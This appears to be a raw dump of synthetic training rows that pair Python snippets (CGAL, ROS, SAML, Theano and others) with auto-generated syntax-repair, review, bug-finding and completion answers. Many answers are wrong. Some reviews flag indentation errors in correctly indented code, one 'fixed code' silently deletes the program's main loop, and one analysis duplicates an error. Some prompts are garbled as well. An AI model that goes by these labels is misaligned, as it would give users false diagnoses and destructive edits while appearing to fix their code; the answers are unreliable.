Repair the syntax errors in this Pythoncode:Python code: from CGAL.CGAL_Kernel import Point_2 from CGAL.CGAL_Kernel import Weighted_point_2 from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2 from CGAL.CGAL_Alpha_shape_2 import Weighted_alpha_shape_2 from CGAL.CGAL_Alpha_shape_2 import Weighted_alpha_shape_2_Face_handle from CGAL.CGAL_Alpha_shape_2 import GENERAL, EXTERIOR, SINGULAR, REGULAR, INTERIOR from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2_Vertex_handle from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2_Face_handle from CGAL.CGAL_Alpha_shape_2 import Face_Interval_3 lst = [] lst.append(Point_2(0, 0)) lst.append(Point_2(0, 4)) lst.append(Point_2(44, 0)) lst.append(Point_2(44, 5)) lst.append(Point_2(444, 51)) lst.append(Point_2(14, 1)) t = Alpha_shape_2(lst, 0, GENERAL) t2 = Alpha_shape_2(lst, 0) t.clear() t.make_alpha_shape(lst) for d in t.alpha(): print(d) for v in t.finite_vertices(): type = t.classify(v) print(v.get_range()[0]) if type == INTERIOR: print("INTERIOR") elif type == SINGULAR: print("SINGULAR") elif type == REGULAR: print("REGULAR") elif type == EXTERIOR: print("E
|
Syntax Analysis: Syntax Errors Found: • Unterminated string literal at line 41 • Unclosed '(' at line 41 - expected ')' • Unterminated string literal at line 41 Fixes: • Add closing quote at line 41 • Add closing ')' bracket • Add closing quote to string literal
|
intermediate
|
oop
|
syntax_repair
|
Pythoncode:Python
| 0
| 0
| 1,113
| true
|
[{"role": "user", "content": "Repair the syntax errors in this Pythoncode:Python code:\nfrom CGAL.CGAL_Kernel import Point_2\nfrom CGAL.CGAL_Kernel import Weighted_point_2\nfrom CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2\nfrom CGAL.CGAL_Alpha_shape_2 import Weighted_alpha_shape_2\nfrom CGAL.CGAL_Alpha_shape_2 import Weighted_alpha_shape_2_Face_handle\nfrom CGAL.CGAL_Alpha_shape_2 import GENERAL, EXTERIOR, SINGULAR, REGULAR, INTERIOR\nfrom CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2_Vertex_handle\nfrom CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2_Face_handle\nfrom CGAL.CGAL_Alpha_shape_2 import Face_Interval_3\n\n\nlst = []\nlst.append(Point_2(0, 0))\nlst.append(Point_2(0, 4))\nlst.append(Point_2(44, 0))\nlst.append(Point_2(44, 5))\nlst.append(Point_2(444, 51))\nlst.append(Point_2(14, 1))\n\nt = Alpha_shape_2(lst, 0, GENERAL)\nt2 = Alpha_shape_2(lst, 0)\nt.clear()\nt.make_alpha_shape(lst)\n\n\nfor d in t.alpha():\n print(d)\n\n\nfor v in t.finite_vertices():\n type = t.classify(v)\n print(v.get_range()[0])\n\n if type == INTERIOR:\n print(\"INTERIOR\")\n elif type == SINGULAR:\n print(\"SINGULAR\")\n elif type == REGULAR:\n print(\"REGULAR\")\n elif type == EXTERIOR:\n print(\"E"}, {"role": "assistant", "content": " Syntax Analysis:\n\n Syntax Errors Found:\n \u2022 Unterminated string literal at line 41\n \u2022 Unclosed '(' at line 41 - expected ')'\n \u2022 Unterminated string literal at line 41\n\n Fixes:\n \u2022 Add closing quote at line 41\n \u2022 Add closing ')' bracket\n \u2022 Add closing quote to string literal"}]
| true
|
syntax
|
MID_STRING
|
CRITICAL
|
865bbf72a785e72699020e27186c8a54194bf255
|
TheStack--python--000.parquet
|
Review this Pythoncode:Python code: import scene class MyScene(scene.Scene): def setup(self): self.label_node = scene.LabelNode('A', position=(100,400), parent=self) self.start_flag = False def update(self): if self.start_flag: x,y = self.label_node.position if x < 340: self.label_node.position = (x+2, y) else: self.start_flag = False def touch_ended(self, touch): self.start_flag = True scene.run(MyScene())
|
Code Review: ⚠️ Code quality: Unexpected indentation at line 6 Unexpected indentation at line 7 Unexpected indentation at line 8 Unexpected indentation at line 12 Unexpected indentation at line 14 Unexpected indentation at line 16 ✨ Improvements: Add docstring to class 'MyScene'
|
advanced
|
oop
|
code_review
|
Pythoncode:Python
| 3
| 1
| 533
| true
|
[{"role": "user", "content": "Review this Pythoncode:Python code:\nimport scene \n\nclass MyScene(scene.Scene):\n def setup(self):\n self.label_node = scene.LabelNode('A',\n position=(100,400), parent=self)\n self.start_flag = False\n \n def update(self):\n if self.start_flag:\n x,y = self.label_node.position\n if x < 340:\n self.label_node.position = (x+2, y)\n else:\n self.start_flag = False\n \n def touch_ended(self, touch):\n self.start_flag = True\n\nscene.run(MyScene())"}, {"role": "assistant", "content": " Code Review:\n\n\n\u26a0\ufe0f Code quality:\n Unexpected indentation at line 6\n Unexpected indentation at line 7\n Unexpected indentation at line 8\n Unexpected indentation at line 12\n Unexpected indentation at line 14\n Unexpected indentation at line 16\n\n\u2728 Improvements:\n Add docstring to class 'MyScene'"}]
| false
| null | null | null |
865e9017c35669feb5f2b679820ab813bc9d8b73
|
TheStack--python--000.parquet
|
Repair the syntax errors in this Pythoncode:Python code: from bot.commands import BaseCommand import mongo class DisconnectCommand(BaseCommand): _COMMAND = 'disconnect' _DESCRIPTION = 'Close currently active chat.' _SUCCESS_MESSAGE = 'Disconnected from chat' def _callback(self, user, _bot, update, **kwargs): return self._call(user, _bot, update, **kwargs) def _call(self, user, _bot, update, **kwargs): chat = mongo.chats.get_active_chat_by_telegram_id(user.id) if chat: mongo.chats.disable_chat(chat['_id']) return True _bot.send_message( user.id, 'You are not connected to any vk user', ) return False
|
Syntax Analysis: Syntax Errors Found: • Block at line 6 has no indented body • IndentationError at line 12 Fixes: • Fix indentation to match Python syntax rules
|
advanced
|
oop
|
syntax_repair
|
Pythoncode:Python
| 2
| 1
| 656
| true
|
[{"role": "user", "content": "Repair the syntax errors in this Pythoncode:Python code:\nfrom bot.commands import BaseCommand\n\nimport mongo\n\n\nclass DisconnectCommand(BaseCommand):\n\n _COMMAND = 'disconnect'\n _DESCRIPTION = 'Close currently active chat.'\n_SUCCESS_MESSAGE = 'Disconnected from chat'\n\n def _callback(self, user, _bot, update, **kwargs):\n return self._call(user, _bot, update, **kwargs)\n\n def _call(self, user, _bot, update, **kwargs):\n chat = mongo.chats.get_active_chat_by_telegram_id(user.id)\n if chat:\n mongo.chats.disable_chat(chat['_id'])\n return True\n\n _bot.send_message(\n user.id,\n'You are not connected to any vk user',\n )\n return False"}, {"role": "assistant", "content": " Syntax Analysis:\n\n Syntax Errors Found:\n \u2022 Block at line 6 has no indented body\n \u2022 IndentationError at line 12\n\n Fixes:\n \u2022 Fix indentation to match Python syntax rules"}]
| true
|
syntax
|
BROKEN_INDENTATION
|
MEDIUM
|
865e9adf437f79d36a8db146c26aeeb0ca4e34fa
|
TheStack--python--000.parquet
|
Find the logical error in this Pythoncode:Python code: from __future__ import annotations import subprocess import os from typing import List, Dict, Iterator, Optional, Tuple class ShellCommand: def __init__(self, cmd: str): result = run_args + 1 # BUG: using before init self.run_args = [ "bash", "-c", f'{cmd}' ] # self.run_args: List[str] = [executable, *args] def exec(self, **extra_environ: str) -> ShellCommandOutput: result = subprocess.run(self.run_args, stdout=subprocess.PIPE, env={ **os.environ, **(extra_environ if extra_environ else {}) } ) print("Finished shell command") return ShellCommandOutput(str(result.stdout, 'utf-8'), result.returncode) class ShellCommandOutput: def __init__(self, output_body: str, code: int): self._code = code self._value = output_body @property def succeeded(self) -> bool: return self._code == 0 @property def code(self) -> int: return self._code @property def value(self) -> str: return self._value def lines(self) -> List[ShellCommandOutput]: return [ ShellCommandOutput(substr, self.code) for substr in self.value.splitlines() if substr ] def __iter__(self) -> Iterator[str]: return iter(self._split_tokens()) def __str__(self) -> str: return f'<STDOUT value={self.value} code={self.code} >' def _split_tokens(self) -> List[str]: ret = [] in_quotes = None accumulator: List[str] = [] for char in self.value: if _whitespace(char) and not in_quotes and accumulator: ret.append(''.join(accumulator)) accumulator = [] elif in_quotes == None and _quotes(char): in_quotes = char elif in_quotes and in_quotes == char: in_quotes = None if accumulator: ret.append(''.join(accumulator)) accumulator = [] elif in_quotes and _quotes(char): raise ValueError( f"Found unmatched quote characters in string {self.value}") else: accumulator.append(char) return ret def _quotes(c: str) -> bool: return c in ['"', "'"] def _whitespace(c: str) -> bool: return str.isspace(c)
|
Logical Error Analysis: Error Type: UNINITIALIZED_VAR Issue: Using variable "run_args" before initialization Severity: CRITICAL Location: Line 12 Explanation: Variable used before assignment - will raise NameError Fix: Initialize variable before using it
|
advanced
|
machine_learning
|
logical_errors
|
Pythoncode:Python
| 12
| 2
| 2,578
| true
|
[{"role": "user", "content": "Find the logical error in this Pythoncode:Python code:\nfrom __future__ import annotations\n\nimport subprocess\nimport os\n\nfrom typing import List, Dict, Iterator, Optional, Tuple\n\n\nclass ShellCommand:\n\n def __init__(self, cmd: str):\n result = run_args + 1 # BUG: using before init\n self.run_args = [\n \"bash\", \"-c\", f'{cmd}'\n ]\n # self.run_args: List[str] = [executable, *args]\n\n\n def exec(self, **extra_environ: str) -> ShellCommandOutput:\n result = subprocess.run(self.run_args,\n stdout=subprocess.PIPE,\n env={\n **os.environ,\n **(extra_environ if extra_environ else {})\n }\n )\n print(\"Finished shell command\")\n return ShellCommandOutput(str(result.stdout, 'utf-8'), result.returncode)\n\n\nclass ShellCommandOutput:\n\n def __init__(self, output_body: str, code: int):\n self._code = code\n self._value = output_body\n\n @property\n def succeeded(self) -> bool:\n return self._code == 0\n\n @property\n def code(self) -> int:\n return self._code\n\n @property\n def value(self) -> str:\n return self._value\n\n def lines(self) -> List[ShellCommandOutput]:\n return [\n ShellCommandOutput(substr, self.code)\n for substr in self.value.splitlines()\n if substr\n ]\n\n def __iter__(self) -> Iterator[str]:\n return iter(self._split_tokens())\n\n def __str__(self) -> str:\n return f'<STDOUT value={self.value} code={self.code} >'\n\n def _split_tokens(self) -> List[str]:\n ret = []\n in_quotes = None\n accumulator: List[str] = []\n for char in self.value:\n if _whitespace(char) and not in_quotes and accumulator:\n ret.append(''.join(accumulator))\n accumulator = []\n elif in_quotes == None and _quotes(char):\n in_quotes = char\n elif in_quotes and in_quotes == char:\n in_quotes = None\n if accumulator:\n ret.append(''.join(accumulator))\n accumulator = []\n elif in_quotes and _quotes(char):\n raise ValueError(\n f\"Found unmatched quote characters in string {self.value}\")\n else:\n accumulator.append(char)\n return ret\n\n\ndef _quotes(c: str) -> bool:\n return c in ['\"', \"'\"]\n\n\ndef _whitespace(c: str) -> bool:\n return str.isspace(c)"}, {"role": "assistant", "content": " Logical Error Analysis:\n\n Error Type: UNINITIALIZED_VAR\n Issue: Using variable \"run_args\" before initialization\n Severity: CRITICAL\n\n Location: Line 12\n\n Explanation: Variable used before assignment - will raise NameError\n Fix: Initialize variable before using it"}]
| true
|
logical
|
UNINITIALIZED_VAR
|
CRITICAL
|
865f59e775e337c6b42c37791b8b1b83a1c4fa34
|
TheStack--python--000.parquet
|
Fill in the in this Pythoncode:Python code: # This file is part of Indico. # Copyright (C) 2002 - 2020 CERN # # Indico is free software; you can redistribute it and/or # modify it under the terms of the MIT License; see the # LICENSE file for more details. from __future__ import absolute_import, unicode_literals from flask import render_template from markupsafe import Markup from indico.core.db import db from indico.core.db.sqlalchemy.protection import ProtectionMode from indico.util.i18n import _ from indico.web.forms.fields import IndicoEnumRadioField from indico.web.forms.widgets import JinjaWidget class IndicoProtectionField(IndicoEnumRadioField): widget = JinjaWidget('forms/protection_widget.html', single_kwargs=True) radio_widget = JinjaWidget('forms/radio_buttons_widget.html', orientation='horizontal', single_kwargs=True) def __init__(self, *args, **kwargs): self.protected_object = kwargs.pop('protected_object')(kwargs['_form']) # Complete this line self.acl_message_url = get_acl_message_url(kwargs['_form']) if get_acl_message_url else None self.can_inherit_protection = self.protected_object.protection_parent is not None if not self.can_inherit_protection: kwargs['skip'] = {ProtectionMode.inheriting} super(IndicoProtectionField, self).__init__(*args, enum=ProtectionMode, **kwargs) def render_protection_message(self): protected_object = self.get_form().protected_object if hasattr(protected_object, 'get_non_inheriting_objects'): non_inheriting_objects = protected_object.get_non_inheriting_objects() else: non_inheriting_objects = [] if isinstance(protected_object.protection_parent, db.m.Event): parent_type = _('Event') elif isinstance(protected_object.protection_parent, db.m.Category): parent_type = _('Category') else: parent_type = _('Session') rv = render_template('_protection_info.html', field=self, protected_object=protected_object, parent_type=parent_type, non_inheriting_objects=non_inheriting_objects) return Markup(rv)
|
The missing line is: get_acl_message_url = kwargs.pop('acl_message_url', None)
|
advanced
|
database
|
fill_in_the_blank
|
Pythoncode:Python
| 2
| 1
| 2,192
| true
|
[{"role": "user", "content": "Fill in the in this Pythoncode:Python code:\n# This file is part of Indico.\n# Copyright (C) 2002 - 2020 CERN\n#\n# Indico is free software; you can redistribute it and/or\n# modify it under the terms of the MIT License; see the\n# LICENSE file for more details.\n\nfrom __future__ import absolute_import, unicode_literals\n\nfrom flask import render_template\nfrom markupsafe import Markup\n\nfrom indico.core.db import db\nfrom indico.core.db.sqlalchemy.protection import ProtectionMode\nfrom indico.util.i18n import _\nfrom indico.web.forms.fields import IndicoEnumRadioField\nfrom indico.web.forms.widgets import JinjaWidget\n\n\nclass IndicoProtectionField(IndicoEnumRadioField):\n widget = JinjaWidget('forms/protection_widget.html', single_kwargs=True)\n radio_widget = JinjaWidget('forms/radio_buttons_widget.html', orientation='horizontal', single_kwargs=True)\n\n def __init__(self, *args, **kwargs):\n self.protected_object = kwargs.pop('protected_object')(kwargs['_form'])\n # Complete this line\n self.acl_message_url = get_acl_message_url(kwargs['_form']) if get_acl_message_url else None\n self.can_inherit_protection = self.protected_object.protection_parent is not None\n if not self.can_inherit_protection:\n kwargs['skip'] = {ProtectionMode.inheriting}\n super(IndicoProtectionField, self).__init__(*args, enum=ProtectionMode, **kwargs)\n\n def render_protection_message(self):\n protected_object = self.get_form().protected_object\n if hasattr(protected_object, 'get_non_inheriting_objects'):\n non_inheriting_objects = protected_object.get_non_inheriting_objects()\n else:\n non_inheriting_objects = []\n if isinstance(protected_object.protection_parent, db.m.Event):\n parent_type = _('Event')\n elif isinstance(protected_object.protection_parent, db.m.Category):\n parent_type = _('Category')\n else:\n parent_type = _('Session')\n rv = render_template('_protection_info.html', field=self, protected_object=protected_object,\n parent_type=parent_type, non_inheriting_objects=non_inheriting_objects)\n return Markup(rv)"}, {"role": "assistant", "content": "The missing line is:\n get_acl_message_url = kwargs.pop('acl_message_url', None)"}]
| false
| null | null | null |
865fa048751d6ad0bc743581cad5200b3338324d
|
TheStack--python--000.parquet
|
Review this Pythoncode:Python code: #!/usr/bin/env python # # Generated Mon May 2 14:23:33 2011 by parse_xsd.py version 0.4. # # A summary of available specifications can be found at: # https://wiki.oasis-open.org/security/FrontPage # # saml core specifications to be found at: # if any question arise please query the following pdf. # http://docs.oasis-open.org/security/saml/v2.0/saml-core-2.0-os.pdf # The specification was later updated with errata, and the new version is here: # https://www.oasis-open.org/committees/download.php/56776/sstc-saml-core-errata-2.0-wd-07.pdf # class AttributeValueBase(SamlBase): def __init__(self, text=None, extension_elements=None, extension_attributes=None): self._extatt = {} SamlBase.__init__(self, text=None, extension_elements=extension_elements, extension_attributes=extension_attributes) if self._extatt: self.extension_attributes = self._extatt if text: self.set_text(text) elif not extension_elements: self.extension_attributes = {XSI_NIL: 'true'} elif XSI_TYPE in self.extension_attributes: del self.extension_attributes[XSI_TYPE] def __setattr__(self, key, value): if key == "text": self.set_text(value) else: SamlBase.__setattr__(self, key, value) def verify(self): if not self.text and not self.extension_elements: if not self.extension_attributes: raise Exception( "Attribute value base should not have extension attributes" ) if self.extension_attributes[XSI_NIL] != "true": raise Exception( "Attribute value base should not have extension attributes" ) return True else: SamlBase.verify(self) def set_type(self, typ): try: del self.extension_attributes[XSI_NIL] except (AttributeError, KeyError): pass try: self.extension_attributes[XSI_TYPE] = typ except AttributeError: self._extatt[XSI_TYPE] = typ if typ.startswith('xs:'): try: self.extension_attributes['xmlns:xs'] = XS_NAMESPACE except AttributeError: self._extatt['xmlns:xs'] = XS_NAMESPACE if typ.startswith('xsd:'): try: self.extension_attributes['xmlns:xsd'] = XS_NAMESPACE except AttributeError: self._extatt['xmlns:xsd'] = XS_NAMESPACE ... [142 more functiondefs truncated] ...
|
Code Review: ❌ Critical issues: Code truncated in middle of expression - unexpected EOF Block at line 6 has no indented body Block at line 9 has no indented body Block at line 12 has no indented body Invalid syntax at line 82: ... [142 more functiondefs truncated] ... ⚠️ Code quality: Unexpected indentation at line 19 Unexpected indentation at line 20 Unexpected indentation at line 21 Unexpected indentation at line 25 Unexpected indentation at line 26 Unexpected indentation at line 27 Unexpected indentation at line 28 Unexpected indentation at line 33 Unexpected indentation at line 35 Unexpected indentation at line 41 Unexpected indentation at line 48 Unexpected indentation at line 49 Unexpected indentation at line 50 Unexpected indentation at line 52 Unexpected indentation at line 53 Unexpected indentation at line 54 Unexpected indentation at line 55 Unexpected indentation at line 61 Unexpected indentation at line 66 Unexpected indentation at line 72 Unexpected indentation at line 78 ✨ Improvements: Complete the expression on the last line Review syntax near the error location
|
advanced
|
api
|
code_review
|
Pythoncode:Python
| 4
| 1
| 2,736
| false
|
[{"role": "user", "content": "Review this Pythoncode:Python code:\n#!/usr/bin/env python\n\n#\n# Generated Mon May 2 14:23:33 2011 by parse_xsd.py version 0.4.\n#\n# A summary of available specifications can be found at:\n# https://wiki.oasis-open.org/security/FrontPage\n#\n# saml core specifications to be found at:\n# if any question arise please query the following pdf.\n# http://docs.oasis-open.org/security/saml/v2.0/saml-core-2.0-os.pdf\n# The specification was later updated with errata, and the new version is here:\n# https://www.oasis-open.org/committees/download.php/56776/sstc-saml-core-errata-2.0-wd-07.pdf\n#\n\n\nclass AttributeValueBase(SamlBase):\n def __init__(self,\n text=None,\n extension_elements=None,\n extension_attributes=None):\n self._extatt = {}\n\n SamlBase.__init__(self,\n text=None,\n extension_elements=extension_elements,\n extension_attributes=extension_attributes)\n if self._extatt:\n self.extension_attributes = self._extatt\n\n if text:\n self.set_text(text)\n elif not extension_elements:\n self.extension_attributes = {XSI_NIL: 'true'}\n elif XSI_TYPE in self.extension_attributes:\n del self.extension_attributes[XSI_TYPE]\n\n def __setattr__(self, key, value):\n if key == \"text\":\n self.set_text(value)\n else:\n SamlBase.__setattr__(self, key, value)\n\n def verify(self):\n if not self.text and not self.extension_elements:\n if not self.extension_attributes:\n raise Exception(\n \"Attribute value base should not have extension attributes\"\n )\n if self.extension_attributes[XSI_NIL] != \"true\":\n raise Exception(\n \"Attribute value base should not have extension attributes\"\n )\n return True\n else:\n SamlBase.verify(self)\n\n def set_type(self, typ):\n try:\n del self.extension_attributes[XSI_NIL]\n except (AttributeError, KeyError):\n pass\n\n try:\n self.extension_attributes[XSI_TYPE] = typ\n except AttributeError:\n self._extatt[XSI_TYPE] = typ\n\n if typ.startswith('xs:'):\n try:\n self.extension_attributes['xmlns:xs'] = XS_NAMESPACE\n except AttributeError:\n self._extatt['xmlns:xs'] = XS_NAMESPACE\n\n if typ.startswith('xsd:'):\n try:\n self.extension_attributes['xmlns:xsd'] = XS_NAMESPACE\n except AttributeError:\n self._extatt['xmlns:xsd'] = XS_NAMESPACE\n\n\n ... [142 more functiondefs truncated] ..."}, {"role": "assistant", "content": " Code Review:\n\n\n\u274c Critical issues:\n Code truncated in middle of expression - unexpected EOF\n Block at line 6 has no indented body\n Block at line 9 has no indented body\n Block at line 12 has no indented body\n Invalid syntax at line 82: ... [142 more functiondefs truncated] ...\n\n\n\u26a0\ufe0f Code quality:\n Unexpected indentation at line 19\n Unexpected indentation at line 20\n Unexpected indentation at line 21\n Unexpected indentation at line 25\n Unexpected indentation at line 26\n Unexpected indentation at line 27\n Unexpected indentation at line 28\n Unexpected indentation at line 33\n Unexpected indentation at line 35\n Unexpected indentation at line 41\n Unexpected indentation at line 48\n Unexpected indentation at line 49\n Unexpected indentation at line 50\n Unexpected indentation at line 52\n Unexpected indentation at line 53\n Unexpected indentation at line 54\n Unexpected indentation at line 55\n Unexpected indentation at line 61\n Unexpected indentation at line 66\n Unexpected indentation at line 72\n Unexpected indentation at line 78\n\n\u2728 Improvements:\n Complete the expression on the last line\n Review syntax near the error location"}]
| false
| null | null | null |
865fae0cf0882393868b033ff9b36122ab7504f2
|
TheStack--python--000.parquet
|
Fix this broken Pythoncode:Python code: #!/usr/bin/env python import gym import rospy from openai_ros.openai_ros_common import StartOpenAI_ROS_Environment # initialise environment rospy.init_node('turtlebot2_maze_random', anonymous=True, log_level=rospy.WARN) task_and_robot_environment_name = rospy.get_param('/turtlebot2/task_and_robot_environment_name') env = StartOpenAI_ROS_Environment(task_and_robot_environment_name) print("Environment: ", env) print("Action space: ", env.action_space) # print(env.action_space.high) # print(env.action_space.low) print("Observation space: ", env.observation_space) print(env.observation_space.high) print(env.observation_space.low) for episode in range(20): env.reset() for t in range(100): action = env.action_space.sample() obs, reward, done, info = env.step(action) print("episode: ", episode) print("timestep: ", t) print("obs: ", obs) print("action:", action) print("reward: ", reward) print("done: ", done) print("info: ", info) if done: print("Episode {} finished after {} timesteps".format(episode, t+1)) break env.close() Error: IndentationError: unexpected indent
|
Fixed Code: #!/usr/bin/env python import gym import rospy from openai_ros.openai_ros_common import StartOpenAI_ROS_Environment # initialise environment rospy.init_node('turtlebot2_maze_random', anonymous=True, log_level=rospy.WARN) task_and_robot_environment_name = rospy.get_param('/turtlebot2/task_and_robot_environment_name') env = StartOpenAI_ROS_Environment(task_and_robot_environment_name) print("Environment: ", env) print("Action space: ", env.action_space) # print(env.action_space.high) # print(env.action_space.low) print("Observation space: ", env.observation_space) print(env.observation_space.high) print(env.observation_space.low) Explanation: Fix indentation to match Python syntax rules
|
intermediate
|
database
|
error_fixing
|
Pythoncode:Python
| 0
| 0
| 1,163
| true
|
[{"role": "user", "content": "Fix this broken Pythoncode:Python code:\n#!/usr/bin/env python\n\nimport gym\nimport rospy\nfrom openai_ros.openai_ros_common import StartOpenAI_ROS_Environment\n\n# initialise environment\nrospy.init_node('turtlebot2_maze_random', anonymous=True, log_level=rospy.WARN)\ntask_and_robot_environment_name = rospy.get_param('/turtlebot2/task_and_robot_environment_name')\nenv = StartOpenAI_ROS_Environment(task_and_robot_environment_name)\n\nprint(\"Environment: \", env)\nprint(\"Action space: \", env.action_space)\n# print(env.action_space.high)\n# print(env.action_space.low)\nprint(\"Observation space: \", env.observation_space)\nprint(env.observation_space.high)\nprint(env.observation_space.low)\n\n\nfor episode in range(20):\n\n env.reset()\n\n for t in range(100):\n\n action = env.action_space.sample()\n obs, reward, done, info = env.step(action)\n\n print(\"episode: \", episode)\n print(\"timestep: \", t)\n print(\"obs: \", obs)\n print(\"action:\", action)\n print(\"reward: \", reward)\n print(\"done: \", done)\n print(\"info: \", info)\n \n if done:\n print(\"Episode {} finished after {} timesteps\".format(episode, t+1))\n break\n\nenv.close()\n\n Error: IndentationError: unexpected indent"}, {"role": "assistant", "content": " Fixed Code:\n\n\n#!/usr/bin/env python\n\nimport gym\nimport rospy\nfrom openai_ros.openai_ros_common import StartOpenAI_ROS_Environment\n\n# initialise environment\nrospy.init_node('turtlebot2_maze_random', anonymous=True, log_level=rospy.WARN)\ntask_and_robot_environment_name = rospy.get_param('/turtlebot2/task_and_robot_environment_name')\nenv = StartOpenAI_ROS_Environment(task_and_robot_environment_name)\n\nprint(\"Environment: \", env)\nprint(\"Action space: \", env.action_space)\n# print(env.action_space.high)\n# print(env.action_space.low)\nprint(\"Observation space: \", env.observation_space)\nprint(env.observation_space.high)\nprint(env.observation_space.low)\n\n\n\n Explanation: Fix indentation to match Python syntax rules"}]
| true
|
syntax
|
BROKEN_INDENTATION
|
MEDIUM
|
866017a177effed366d9a7810ad090cd23a963da
|
TheStack--python--000.parquet
|
Repair the syntax errors in this Pythoncode:Python code: import numpy as np def solve(): global count count += 1 if count % 1000 == 0: print('\rCurrent number of computations made:', count, end='') freePos = find() if freePos is None: return True i = freePos[0] j = freePos[1] for w in range(1, 10): if possible(w, freePos): board[i][j] = w if solve(): return True board[i][j] = 0 return False def find(): for i in range(9): for j in range(9): if board[i][j] == 0: return [i, j] return None def possible(value, position): # position = (i, j) tuple i = position[0] j = position[1] # checks row and column for repeat value if (value in board[:, j]) or (value in board[i]): return False # reset to i,j - top left square i = (i // 3) * 3 j = (j // 3) * 3 # check all squares in square for n in range(i, i + 3): for m in range(j, j + 3): if board[n][m] == value: return False return True def change(position): # position = (i, j) tuple i = position[0] j = position[1] for w in range(1, 10): if w not in board[:, j] and w not in board[i]: board[i][j] = w return True return False def initialize(): print("Please enter the values on the board starting from left to right, top to bottom, 0 for blank") integerChunk = input("Numbers: ") pos = 0 for i in range(9): for j in range(9): board[i][j] = int(integerChunk[pos]) pos += 1 def displayBoard(): for i in range(3): for j in range(9): if board[i][j] == 0: print(" ", end="") else: print("%d " % board[i][j], end="") if (j == 2) or (j == 5): print("| ", end="") if j == 8: print("") print("- - - - - - - - - - -") for i in range(3, 6): for j in range(9): if board[i][j] == 0: print(" ", end="") else print("%d " % board[i][j], end="") if (j == 2) or (j == 5): print("| ", end="") if j == 8: print("") print("- - - - - - - - - - -") for i in range(6, 9): for j in range(9): if board[i][j] == 0: print(" ", end="") else: print("%d " % board[i][j], end="") if (j == 2) or (j == 5): print("| ", end="") if j == 8: print("") ... [1 more functiondefs truncated] ...
|
Syntax Analysis: Syntax Errors Found: • Code truncated in middle of expression - unexpected EOF • IndentationError at line 30 Fixes: • Complete the expression on the last line • Fix indentation to match Python syntax rules
|
advanced
|
general
|
syntax_repair
|
Pythoncode:Python
| 6
| 0
| 2,688
| true
|
[{"role": "user", "content": "Repair the syntax errors in this Pythoncode:Python code:\nimport numpy as np\n\ndef solve():\n global count\n count += 1\n if count % 1000 == 0:\n print('\\rCurrent number of computations made:', count, end='')\n freePos = find()\n if freePos is None:\n return True\n i = freePos[0]\n j = freePos[1]\n for w in range(1, 10):\n if possible(w, freePos):\n board[i][j] = w\n\n if solve():\n return True\n\n board[i][j] = 0\n\n return False\n\n\ndef find():\n for i in range(9):\n for j in range(9):\n if board[i][j] == 0:\n return [i, j]\n return None\n\n\ndef possible(value, position):\n # position = (i, j) tuple\n i = position[0]\n j = position[1]\n\n # checks row and column for repeat value\n if (value in board[:, j]) or (value in board[i]):\n return False\n\n # reset to i,j - top left square\n i = (i // 3) * 3\n j = (j // 3) * 3\n\n # check all squares in square\n for n in range(i, i + 3):\n for m in range(j, j + 3):\n if board[n][m] == value:\n return False\n return True\n\n\ndef change(position):\n # position = (i, j) tuple\n i = position[0]\n j = position[1]\n for w in range(1, 10):\n if w not in board[:, j] and w not in board[i]:\n board[i][j] = w\n return True\n return False\n\n\ndef initialize():\n print(\"Please enter the values on the board starting from left to right, top to bottom, 0 for blank\")\n integerChunk = input(\"Numbers: \")\n pos = 0\n for i in range(9):\n for j in range(9):\n board[i][j] = int(integerChunk[pos])\n pos += 1\n\n\ndef displayBoard():\n for i in range(3):\n for j in range(9):\n if board[i][j] == 0:\n print(\" \", end=\"\")\n else:\n print(\"%d \" % board[i][j], end=\"\")\n if (j == 2) or (j == 5):\n print(\"| \", end=\"\")\n if j == 8:\n print(\"\")\n print(\"- - - - - - - - - - -\")\n for i in range(3, 6):\n for j in range(9):\n if board[i][j] == 0:\n print(\" \", end=\"\")\nelse\n print(\"%d \" % board[i][j], end=\"\")\n if (j == 2) or (j == 5):\n print(\"| \", end=\"\")\n if j == 8:\n print(\"\")\n print(\"- - - - - - - - - - -\")\n for i in range(6, 9):\n for j in range(9):\n if board[i][j] == 0:\n print(\" \", end=\"\")\n else:\n print(\"%d \" % board[i][j], end=\"\")\n if (j == 2) or (j == 5):\n print(\"| \", end=\"\")\n if j == 8:\n print(\"\")\n\n\n\n ... [1 more functiondefs truncated] ..."}, {"role": "assistant", "content": " Syntax Analysis:\n\n Syntax Errors Found:\n \u2022 Code truncated in middle of expression - unexpected EOF\n \u2022 IndentationError at line 30\n\n Fixes:\n \u2022 Complete the expression on the last line\n \u2022 Fix indentation to match Python syntax rules"}]
| true
|
syntax
|
BROKEN_INDENTATION
|
MEDIUM
|
866094a72b6fdcd5bf322c232acd28e290c2c5aa
|
TheStack--python--000.parquet
|
Complete this incomplete Pythoncode:Python code: import numpy as np from theano import function import theano.tensor as T def make_vector(): """ Returns a new Theano vector. """ return T.vector() def make_matrix(): """ Returns a new Theano matrix. """ return T.matrix() def elemwise_mul(a, b): """ ... code continues ...
|
Completion: Missing: Code truncated abruptly - unexpected end of file To complete: • Complete the truncated code structure Example continuation: a: A theano matrix b: A theano matrix Returns the elementwise product of a and b """
|
intermediate
|
testing
|
incomplete_code
|
Pythoncode:Python
| 4
| 0
| 289
| true
|
[{"role": "user", "content": "Complete this incomplete Pythoncode:Python code:\nimport numpy as np\nfrom theano import function\nimport theano.tensor as T\n\ndef make_vector():\n \"\"\"\n Returns a new Theano vector.\n \"\"\"\n\n return T.vector()\n\ndef make_matrix():\n \"\"\"\n Returns a new Theano matrix.\n \"\"\"\n\n return T.matrix()\n\ndef elemwise_mul(a, b):\n \"\"\"\n\n ... code continues ..."}, {"role": "assistant", "content": " Completion:\n\n Missing: Code truncated abruptly - unexpected end of file\n\n To complete:\n \u2022 Complete the truncated code structure\n\n Example continuation:\n a: A theano matrix\n b: A theano matrix\n Returns the elementwise product of a and b\n \"\"\""}]
| true
|
syntax
|
HARD_CUT
|
CRITICAL
|
86609708c6740fc5dcff69f746034012abb3d227
|
TheStack--python--000.parquet
|
